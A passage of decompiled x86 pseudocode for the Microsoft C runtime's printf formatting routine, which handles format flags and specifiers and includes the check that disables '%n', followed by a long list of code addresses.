																	if( *(__ebp - 0x284) == 0) {
																		L74:
																		__edx =  *0x440f80; // 0x404478
																		 *(__ebp - 4) = __edx;
																		__eax =  *(__ebp - 4);
																		 *(__ebp - 0x24) = E0041DEB0( *(__ebp - 4));
																		L78:
																		goto L181;
																	}
																	L73:
																	__ecx =  *(__ebp - 0x284);
																	__eflags =  *(__ecx + 4);
																	if( *(__ecx + 4) != 0) {
																		L75:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																		__eflags =  *(__ebp - 0x10) & 0x00000800;
																		if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																			 *(__ebp - 0xc) = 0;
																			__edx =  *(__ebp - 0x284);
																			__eax =  *(__edx + 4);
																			 *(__ebp - 4) =  *(__edx + 4);
																			__ecx =  *(__ebp - 0x284);
																			__edx =  *__ecx;
																			 *(__ebp - 0x24) =  *__ecx;
																		} else {
																			__edx =  *(__ebp - 0x284);
																			__eax =  *(__edx + 4);
																			 *(__ebp - 4) =  *(__edx + 4);
																			__ecx =  *(__ebp - 0x284);
																			__eax =  *__ecx;
																			asm("cdq");
																			 *__ecx - __edx =  *__ecx - __edx >> 1;
																			 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																			 *(__ebp - 0xc) = 1;
																		}
																		goto L78;
																	}
																	goto L74;
																case 5:
																	L115:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	__eax = __ebp - 0x248;
																	 *(__ebp - 4) = __ebp - 0x248;
																	 *(__ebp - 0x44) = 0x200;
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) >= 0) {
																		L117:
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) != 0) {
																			L120:
																			__eflags =  *(__ebp - 0x30) - 0x200;
																			if( *(__ebp - 0x30) > 0x200) {
																				 *(__ebp - 0x30) = 0x200;
																			}
																			L122:
																			__eflags =  *(__ebp - 0x30) - 0xa3;
																			if( *(__ebp - 0x30) > 0xa3) {
																				 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																				 *(__ebp - 0x20) = L0041B950(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																				__eflags =  *(__ebp - 0x20);
																				if( *(__ebp - 0x20) == 0) {
																					 *(__ebp - 0x30) = 0xa3;
																				} else {
																					__eax =  *(__ebp - 0x20);
																					 *(__ebp - 4) =  *(__ebp - 0x20);
																					 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																					 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																				}
																			}
																			 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																			 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																			__eax =  *(__ebp + 0x14);
																			_t274 = __eax - 8; // 0xe852f855
																			__ecx =  *_t274;
																			_t275 = __eax - 4; // 0xbc20
																			__edx =  *_t275;
																			 *(__ebp - 0x2a0) =  *_t274;
																			 *(__ebp - 0x29c) =  *_t275;
																			__ecx = __ebp - 0x40;
																			_push(E0041AEE0(__ebp - 0x40));
																			__eax =  *(__ebp - 0x2c);
																			_push( *(__ebp - 0x2c));
																			__ecx =  *(__ebp - 0x30);
																			_push( *(__ebp - 0x30));
																			__edx =  *((char*)(__ebp - 0x251));
																			_push( *((char*)(__ebp - 0x251)));
																			__eax =  *(__ebp - 0x44);
																			_push( *(__ebp - 0x44));
																			__ecx =  *(__ebp - 4);
																			_push( *(__ebp - 4));
																			__edx = __ebp - 0x2a0;
																			_push(__ebp - 0x2a0);
																			__eax =  *0x440374; // 0xab8ad97d
																			__eax =  *__eax();
																			__esp = __esp + 0x1c;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__eflags =  *(__ebp - 0x30);
																				if( *(__ebp - 0x30) == 0) {
																					__ecx = __ebp - 0x40;
																					_push(E0041AEE0(__ebp - 0x40));
																					__edx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__eax =  *0x440380; // 0x2b8ac62f
																					__eax =  *__eax();
																					__esp = __esp + 8;
																				}
																			}
																			__ecx =  *((char*)(__ebp - 0x251));
																			__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
																			if( *((char*)(__ebp - 0x251)) == 0x67) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																				__eflags =  *(__ebp - 0x10) & 0x00000080;
																				if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																					__ecx = __ebp - 0x40;
																					_push(E0041AEE0(__ebp - 0x40));
																					__eax =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__ecx =  *0x44037c; // 0x2b8ac616
																					E00424750(__ecx) =  *__eax();
																					__esp = __esp + 8;
																				}
																			}
																			__edx =  *(__ebp - 4);
																			__eax =  *( *(__ebp - 4));
																			__eflags =  *( *(__ebp - 4)) - 0x2d;
																			if( *( *(__ebp - 4)) == 0x2d) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																				__edx =  *(__ebp - 4);
																				__edx =  *(__ebp - 4) + 1;
																				__eflags = __edx;
																				 *(__ebp - 4) = __edx;
																			}
																			__eax =  *(__ebp - 4);
																			 *(__ebp - 0x24) = E0041DEB0( *(__ebp - 4));
																			do {
																				L181:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L207;
																				}
																				goto L182;
																			} while ( *(__ebp - 0x30c) > 0x37);
																			goto L63;
																		}
																		L118:
																		__ecx =  *((char*)(__ebp - 0x251));
																		__eflags = __ecx - 0x67;
																		if(__ecx != 0x67) {
																			goto L120;
																		}
																		L119:
																		 *(__ebp - 0x30) = 1;
																		goto L122;
																	}
																	L116:
																	 *(__ebp - 0x30) = 6;
																	goto L122;
																case 6:
																	L66:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																	__eflags =  *(__ebp - 0x10) & 0x00000810;
																	if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																		L70:
																		__ebp + 0x14 = E004283F0(__ebp + 0x14);
																		 *(__ebp - 0x280) = __ax;
																		__cl =  *(__ebp - 0x280);
																		 *(__ebp - 0x248) = __cl;
																		 *(__ebp - 0x24) = 1;
																		L71:
																		__edx = __ebp - 0x248;
																		 *(__ebp - 4) = __ebp - 0x248;
																		while(1) {
																			L181:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L207;
																			}
																			goto L182;
																		}
																	}
																	L67:
																	 *(__ebp - 0x27c) = 0;
																	__edx = __ebp + 0x14;
																	__eax = E00428430(__ebp + 0x14);
																	 *(__ebp - 0x258) = __ax;
																	__eax =  *(__ebp - 0x258) & 0x0000ffff;
																	__ecx = __ebp - 0x248;
																	__edx = __ebp - 0x24;
																	 *(__ebp - 0x27c) = E004342C0(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																	__eflags =  *(__ebp - 0x27c);
																	if( *(__ebp - 0x27c) != 0) {
																		 *(__ebp - 0x28) = 1;
																	}
																	L69:
																	goto L71;
																case 7:
																	L135:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *(__ebp - 8) = 0xa;
																	L144:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																	__eflags =  *(__ebp - 0x10) & 0x00008000;
																	if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																		__eflags =  *(__ebp - 0x10) & 0x00001000;
																		if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																			__eflags =  *(__ebp - 0x10) & 0x00000020;
																			if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																				__eflags =  *(__ebp - 0x10) & 0x00000040;
																				if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																					__ecx = __ebp + 0x14;
																					__eax = E004283F0(__ebp + 0x14);
																					__edx = 0;
																					__eflags = 0;
																					 *(__ebp - 0x2b0) = __eax;
																					 *(__ebp - 0x2ac) = 0;
																				} else {
																					__eax = __ebp + 0x14;
																					__eax = E004283F0(__ebp + 0x14);
																					asm("cdq");
																					 *(__ebp - 0x2b0) = __eax;
																					 *(__ebp - 0x2ac) = __edx;
																				}
																			} else {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																				__eflags =  *(__ebp - 0x10) & 0x00000040;
																				if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																					__ecx = __ebp + 0x14;
																					E004283F0(__ebp + 0x14) = __ax & 0x0000ffff;
																					asm("cdq");
																					 *(__ebp - 0x2b0) = __ax & 0x0000ffff;
																					 *(__ebp - 0x2ac) = __edx;
																				} else {
																					__eax = __ebp + 0x14;
																					__eax = E004283F0(__ebp + 0x14);
																					__ax = __eax;
																					asm("cdq");
																					 *(__ebp - 0x2b0) = __eax;
																					 *(__ebp - 0x2ac) = __edx;
																				}
																			}
																		} else {
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x2b0) = E00428410(__ebp + 0x14);
																			 *(__ebp - 0x2ac) = __edx;
																		}
																	} else {
																		__ecx = __ebp + 0x14;
																		 *(__ebp - 0x2b0) = E00428410(__ebp + 0x14);
																		 *(__ebp - 0x2ac) = __edx;
																	}
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																	__eflags =  *(__ebp - 0x10) & 0x00000040;
																	if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																		goto L161;
																	}
																case 8:
																	L100:
																	__ecx = __ebp + 0x14;
																	 *(__ebp - 0x294) = E004283F0(__ebp + 0x14);
																	__eax = E00433FA0();
																	__eflags = __eax;
																	if(__eax != 0) {
																		L110:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																		__eflags =  *(__ebp - 0x10) & 0x00000020;
																		if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																			__edx =  *(__ebp - 0x294);
																			__eax =  *(__ebp - 0x24c);
																			 *( *(__ebp - 0x294)) =  *(__ebp - 0x24c);
																		} else {
																			__eax =  *(__ebp - 0x294);
																			 *( *(__ebp - 0x294)) =  *(__ebp - 0x24c);
																		}
																		 *(__ebp - 0x28) = 1;
																		while(1) {
																			L181:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L207;
																			}
																			goto L182;
																		}
																	}
																	L101:
																	__edx = 0;
																	__eflags = 0;
																	if(0 == 0) {
																		 *(__ebp - 0x314) = 0;
																	} else {
																		 *(__ebp - 0x314) = 1;
																	}
																	__eax =  *(__ebp - 0x314);
																	 *(__ebp - 0x298) =  *(__ebp - 0x314);
																	__eflags =  *(__ebp - 0x298);
																	if( *(__ebp - 0x298) == 0) {
																		_push(L"(\"\'n\' format specifier disabled\", 0)");
																		_push(0);
																		_push(0x695);
																		_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																		_push(2);
																		__eax = L0041E410();
																		__esp = __esp + 0x14;
																		__eflags = __eax - 1;
																		if(__eax == 1) {
																			asm("int3");
																		}
																	}
																	__eflags =  *(__ebp - 0x298);
																	if( *(__ebp - 0x298) != 0) {
																		L109:
																		while(1) {
																			L181:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L207;
																			}
																			goto L182;
																		}
																	} else {
																		L108:
																		 *((intOrPtr*)(L00422F00(__ecx))) = 0x16;
																		__eax = E00422C90(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																		 *(__ebp - 0x2e8) = 0xffffffff;
																		__ecx = __ebp - 0x40;
																		__eax = E0041AEB0(__ecx);
																		__eax =  *(__ebp - 0x2e8);
																		L211:
																		return E0042BD50(_t478, _t497,  *(_t524 - 0x48) ^ _t524, _t513, _t522, _t523);
																	}
																case 9:
																	L142:
																	 *(__ebp - 8) = 8;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																	__eflags =  *(__ebp - 0x10) & 0x00000080;
																	if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																		__edx =  *(__ebp - 0x10);
																		__edx =  *(__ebp - 0x10) | 0x00000200;
																		__eflags = __edx;
																		 *(__ebp - 0x10) = __edx;
																	}
																	while(1) {
																		L144:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																		__eflags =  *(__ebp - 0x10) & 0x00008000;
																		if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																			__eflags =  *(__ebp - 0x10) & 0x00001000;
																			if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				__eflags =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						__eax = E004283F0(__ebp + 0x14);
																						__edx = 0;
																						__eflags = 0;
																						 *(__ebp - 0x2b0) = __eax;
																						 *(__ebp - 0x2ac) = 0;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E004283F0(__ebp + 0x14);
																						asm("cdq");
																						 *(__ebp - 0x2b0) = __eax;
																						 *(__ebp - 0x2ac) = __edx;
																					}
																				} else {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						E004283F0(__ebp + 0x14) = __ax & 0x0000ffff;
																						asm("cdq");
																						 *(__ebp - 0x2b0) = __ax & 0x0000ffff;
																						 *(__ebp - 0x2ac) = __edx;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E004283F0(__ebp + 0x14);
																						__ax = __eax;
																						asm("cdq");
																						 *(__ebp - 0x2b0) = __eax;
																						 *(__ebp - 0x2ac) = __edx;
																					}
																				}
																			} else {
																				__eax = __ebp + 0x14;
																				 *(__ebp - 0x2b0) = E00428410(__ebp + 0x14);
																				 *(__ebp - 0x2ac) = __edx;
																			}
																		} else {
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x2b0) = E00428410(__ebp + 0x14);
																			 *(__ebp - 0x2ac) = __edx;
																		}
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																		__eflags =  *(__ebp - 0x10) & 0x00000040;
																		if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																			goto L161;
																		}
																		goto L157;
																	}
																case 0xa:
																	L137:
																	 *(__ebp - 0x30) = 8;
																	goto L138;
																case 0xb:
																	L81:
																	__eflags =  *(__ebp - 0x30) - 0xffffffff;
																	if( *(__ebp - 0x30) != 0xffffffff) {
																		__edx =  *(__ebp - 0x30);
																		 *(__ebp - 0x310) =  *(__ebp - 0x30);
																	} else {
																		 *(__ebp - 0x310) = 0x7fffffff;
																	}
																	__eax =  *(__ebp - 0x310);
																	 *(__ebp - 0x28c) =  *(__ebp - 0x310);
																	__ecx = __ebp + 0x14;
																	 *(__ebp - 4) = E004283F0(__ebp + 0x14);
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																	__eflags =  *(__ebp - 0x10) & 0x00000810;
																	if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																		L92:
																		__eflags =  *(__ebp - 4);
																		if( *(__ebp - 4) == 0) {
																			__edx =  *0x440f80; // 0x404478
																			 *(__ebp - 4) = __edx;
																		}
																		__eax =  *(__ebp - 4);
																		 *(__ebp - 0x288) =  *(__ebp - 4);
																		while(1) {
																			L95:
																			__ecx =  *(__ebp - 0x28c);
																			 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																			 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																			__eflags = __ecx;
																			if(__ecx == 0) {
																				break;
																			}
																			L96:
																			__eax =  *(__ebp - 0x288);
																			__ecx =  *( *(__ebp - 0x288));
																			__eflags = __ecx;
																			if(__ecx == 0) {
																				break;
																			}
																			L97:
																			 *(__ebp - 0x288) =  *(__ebp - 0x288) + 1;
																			 *(__ebp - 0x288) =  *(__ebp - 0x288) + 1;
																		}
																		L98:
																		__eax =  *(__ebp - 0x288);
																		__eax =  *(__ebp - 0x288) -  *(__ebp - 4);
																		__eflags = __eax;
																		 *(__ebp - 0x24) = __eax;
																		goto L99;
																	} else {
																		L85:
																		__eflags =  *(__ebp - 4);
																		if( *(__ebp - 4) == 0) {
																			__eax =  *0x440f84; // 0x404468
																			 *(__ebp - 4) = __eax;
																		}
																		 *(__ebp - 0xc) = 1;
																		__ecx =  *(__ebp - 4);
																		 *(__ebp - 0x290) =  *(__ebp - 4);
																		while(1) {
																			L88:
																			__edx =  *(__ebp - 0x28c);
																			 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																			 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																			__eflags =  *(__ebp - 0x28c);
																			if( *(__ebp - 0x28c) == 0) {
																				break;
																			}
																			L89:
																			__ecx =  *(__ebp - 0x290);
																			__edx =  *( *(__ebp - 0x290)) & 0x0000ffff;
																			__eflags =  *( *(__ebp - 0x290)) & 0x0000ffff;
																			if(( *( *(__ebp - 0x290)) & 0x0000ffff) == 0) {
																				break;
																			}
																			L90:
																			 *(__ebp - 0x290) =  *(__ebp - 0x290) + 2;
																			 *(__ebp - 0x290) =  *(__ebp - 0x290) + 2;
																		}
																		L91:
																		 *(__ebp - 0x290) =  *(__ebp - 0x290) -  *(__ebp - 4);
																		__ecx =  *(__ebp - 0x290) -  *(__ebp - 4) >> 1;
																		 *(__ebp - 0x24) = __ecx;
																		L99:
																		while(1) {
																			L181:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L207;
																			}
																			goto L182;
																		}
																	}
																case 0xc:
																	L136:
																	 *(__ebp - 8) = 0xa;
																	while(1) {
																		L144:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																		__eflags =  *(__ebp - 0x10) & 0x00008000;
																		if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																			__eflags =  *(__ebp - 0x10) & 0x00001000;
																			if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				__eflags =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						__eax = E004283F0(__ebp + 0x14);
																						__edx = 0;
																						__eflags = 0;
																						 *(__ebp - 0x2b0) = __eax;
																						 *(__ebp - 0x2ac) = 0;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E004283F0(__ebp + 0x14);
																						asm("cdq");
																						 *(__ebp - 0x2b0) = __eax;
																						 *(__ebp - 0x2ac) = __edx;
																					}
																				} else {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						E004283F0(__ebp + 0x14) = __ax & 0x0000ffff;
																						asm("cdq");
																						 *(__ebp - 0x2b0) = __ax & 0x0000ffff;
																						 *(__ebp - 0x2ac) = __edx;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E004283F0(__ebp + 0x14);
																						__ax = __eax;
																						asm("cdq");
																						 *(__ebp - 0x2b0) = __eax;
																						 *(__ebp - 0x2ac) = __edx;
																					}
																				}
																			} else {
																				__eax = __ebp + 0x14;
																				 *(__ebp - 0x2b0) = E00428410(__ebp + 0x14);
																				 *(__ebp - 0x2ac) = __edx;
																			}
																		} else {
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x2b0) = E00428410(__ebp + 0x14);
																			 *(__ebp - 0x2ac) = __edx;
																		}
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																		__eflags =  *(__ebp - 0x10) & 0x00000040;
																		if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																			goto L161;
																		}
																		goto L157;
																	}
																case 0xd:
																	goto L0;
																case 0xe:
																	while(1) {
																		L181:
																		__eflags =  *(__ebp - 0x28);
																		if( *(__ebp - 0x28) != 0) {
																			goto L207;
																		}
																		goto L182;
																	}
															}
														case 8:
															L21:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
															goto L24;
														case 9:
															L22:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
															goto L24;
														case 0xa:
															L20:
															__ecx =  *(__ebp - 0x10);
															__ecx =  *(__ebp - 0x10) | 0x00000001;
															 *(__ebp - 0x10) = __ecx;
															goto L24;
														case 0xb:
															L19:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
															goto L24;
														case 0xc:
															L23:
															__ecx =  *(__ebp - 0x10);
															__ecx =  *(__ebp - 0x10) | 0x00000008;
															__eflags = __ecx;
															 *(__ebp - 0x10) = __ecx;
															goto L24;
														case 0xd:
															L24:
															goto L209;
													}
												}
												L210:
												 *(_t524 - 0x2ec) =  *(_t524 - 0x24c);
												E0041AEB0(_t524 - 0x40);
												_t478 =  *(_t524 - 0x2ec);
												goto L211;
											}
										}
										L178:
										__eflags =  *(__ebp - 0x24);
										if( *(__ebp - 0x24) == 0) {
											L180:
											 *(__ebp - 4) =  *(__ebp - 4) - 1;
											 *(__ebp - 4) =  *(__ebp - 4) - 1;
											__eax =  *(__ebp - 4);
											 *( *(__ebp - 4)) = 0x30;
											__ecx =  *(__ebp - 0x24);
											__ecx =  *(__ebp - 0x24) + 1;
											__eflags = __ecx;
											 *(__ebp - 0x24) = __ecx;
											goto L181;
										}
										L179:
										__eax =  *(__ebp - 4);
										__ecx =  *( *(__ebp - 4));
										__eflags = __ecx - 0x30;
										if(__ecx == 0x30) {
											goto L181;
										}
										goto L180;
									}
									L174:
									__eax =  *(__ebp - 8);
									asm("cdq");
									__ecx =  *(__ebp - 0x2b4);
									__edx =  *(__ebp - 0x2b8);
									__eax = E00430820( *(__ebp - 0x2b8),  *(__ebp - 0x2b4),  *(__ebp - 8),  *(__ebp - 0x2b8));
									 *(__ebp - 0x2a4) = __eax;
									__eax =  *(__ebp - 8);
									asm("cdq");
									__eax =  *(__ebp - 0x2b4);
									__ecx =  *(__ebp - 0x2b8);
									 *(__ebp - 0x2b8) = E004308A0( *(__ebp - 0x2b8),  *(__ebp - 0x2b4),  *(__ebp - 8), __edx);
									 *(__ebp - 0x2b4) = __edx;
									__eflags =  *(__ebp - 0x2a4) - 0x39;
									if( *(__ebp - 0x2a4) > 0x39) {
										__edx =  *(__ebp - 0x2a4);
										__edx =  *(__ebp - 0x2a4) +  *(__ebp - 0x260);
										__eflags = __edx;
										 *(__ebp - 0x2a4) = __edx;
									}
									__eax =  *(__ebp - 4);
									__cl =  *(__ebp - 0x2a4);
									 *( *(__ebp - 4)) = __cl;
									 *(__ebp - 4) =  *(__ebp - 4) - 1;
									 *(__ebp - 4) =  *(__ebp - 4) - 1;
									L172:
									__ecx =  *(__ebp - 0x30);
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) > 0) {
										goto L174;
									}
									goto L173;
								}
							}
							L159:
							__eflags =  *(__ebp - 0x2b0);
							if( *(__ebp - 0x2b0) >= 0) {
								goto L161;
							}
							goto L160;
							L161:
							__ecx =  *(__ebp - 0x2b0);
							 *(__ebp - 0x2b8) =  *(__ebp - 0x2b0);
							__edx =  *(__ebp - 0x2ac);
							 *(__ebp - 0x2b4) =  *(__ebp - 0x2ac);
							goto L162;
						}
					}
				}
			}

0x00427dd8
0x00427dd8
0x00427dd8
0x00427dd8
0x00427de2
0x00427de2
0x00427de2
0x00427dec
0x00427dec
0x00427df2
0x00427df4
0x00427dfe
0x00427dfe
0x00427e01
0x00427e04
0x00427e04
0x00427e2b
0x00427e2b
0x00427e2e
0x00427e2e
0x00427e33
0x00427e55
0x00427e55
0x00427e5b
0x00427e7d
0x00427e7d
0x00427e80
0x00427ec7
0x00427ec7
0x00427eca
0x00427ee7
0x00427eeb
0x00427ef3
0x00427ef3
0x00427ef5
0x00427efb
0x00427ecc
0x00427ecc
0x00427ed0
0x00427ed8
0x00427ed9
0x00427edf
0x00427edf
0x00427e82
0x00427e85
0x00427e85
0x00427e88
0x00427ea6
0x00427eb2
0x00427eb5
0x00427eb6
0x00427ebc
0x00427e8a
0x00427e8a
0x00427e8e
0x00427e96
0x00427e97
0x00427e98
0x00427e9e
0x00427e9e
0x00427ec2
0x00427e5d
0x00427e5d
0x00427e69
0x00427e6f
0x00427e6f
0x00427e35
0x00427e35
0x00427e41
0x00427e47
0x00427e47
0x00427f04
0x00427f04
0x00427f07
0x00000000
0x00000000
0x00427f09
0x00427f09
0x00427f10
0x00000000
0x00000000
0x00427f12
0x00427f12
0x00427f1d
0x00427f23
0x00427f25
0x00427f2b
0x00427f2e
0x00427f30
0x00427f36
0x00427f3f
0x00427f44
0x00427f61
0x00427f64
0x00427f64
0x00427f69
0x00427f6e
0x00427f6e
0x00427f74
0x00427f76
0x00427f7c
0x00427f82
0x00427f82
0x00427f8b
0x00427f8b
0x00427f74
0x00427f91
0x00427f95
0x00427fa3
0x00427fa6
0x00427fa9
0x00427fb0
0x00427fb2
0x00427fb2
0x00427f97
0x00427f97
0x00427f97
0x00427fbf
0x00427fbf
0x00427fc5
0x00427fc7
0x00427fc7
0x00427fce
0x00427fd1
0x00427fd4
0x00427fd4
0x00427fd4
0x00427fda
0x00427fdd
0x00427fe0
0x00427fe2
0x00000000
0x00000000
0x00427fe4
0x00427fea
0x00427fea
0x00427ff0
0x0042806d
0x00428070
0x00428073
0x00428076
0x00428079
0x0042807c
0x00428082
0x00428082
0x00428088
0x004280b3
0x004280b3
0x004280b3
0x004280b7
0x00000000
0x00000000
0x004280bd
0x004280c0
0x004280c0
0x004280c3
0x004280c8
0x004280c8
0x004280cd
0x004280df
0x004280df
0x004280e2
0x004280f4
0x004280f4
0x004280f7
0x004280f9
0x004280fd
0x004280fd
0x004280e4
0x004280e4
0x004280e8
0x004280e8
0x004280cf
0x004280cf
0x004280d3
0x004280d3
0x004280cd
0x00428107
0x0042810a
0x0042810d
0x00428116
0x00428116
0x00428119
0x0042811b
0x00428122
0x00428126
0x0042812f
0x00428134
0x00428137
0x0042813e
0x00428142
0x00428146
0x00428152
0x00428155
0x00428155
0x00428158
0x0042815d
0x0042815d
0x00428160
0x00428162
0x00428169
0x0042816d
0x00428176
0x0042817b
0x00428160
0x0042817e
0x00428182
0x00428256
0x00428256
0x0042825d
0x00428261
0x00428265
0x00428269
0x00000000
0x00428188
0x00428188
0x00428188
0x0042818c
0x00000000
0x00000000
0x00428192
0x00428192
0x0042819c
0x0042819f
0x004281a5
0x004281a8
0x004281ae
0x004281ae
0x004281ae
0x004281ba
0x004281bd
0x004281c3
0x004281c5
0x00000000
0x00000000
0x004281cb
0x004281cb
0x004281d4
0x004281db
0x004281e5
0x004281ec
0x004281fb
0x00428207
0x0042820a
0x00428210
0x00428217
0x00428222
0x00428222
0x00000000
0x00428222
0x00428219
0x00428219
0x00428220
0x0042822e
0x0042822e
0x00428235
0x00428239
0x00428247
0x00000000
0x0042824c
0x00000000
0x00428220
0x00428254
0x00428271
0x00428271
0x00428278
0x0042827d
0x0042827d
0x00428280
0x00428282
0x00428289
0x0042828d
0x00428296
0x0042829b
0x00428280
0x00428278
0x0042829e
0x0042829e
0x004282a2
0x004282aa
0x004282b2
0x004282b2
0x004282b9
0x004282b9
0x0042743f
0x00427452
0x00427457
0x00000000
0x0042746a
0x00427474
0x0042749b
0x00427482
0x00427493
0x00427493
0x00427474
0x004274a5
0x004274ab
0x004274bd
0x004274c8
0x004274d4
0x004274e1
0x00000000
0x00000000
0x004274e7
0x004274ed
0x00000000
0x004274f4
0x004274f4
0x0042750c
0x00427511
0x00427516
0x004275d0
0x004275e3
0x004275e8
0x00000000
0x0042751c
0x0042752f
0x00427534
0x0042753a
0x0042753c
0x00427545
0x00427548
0x00427554
0x00427558
0x0042755e
0x00427560
0x00427565
0x00427567
0x0042756c
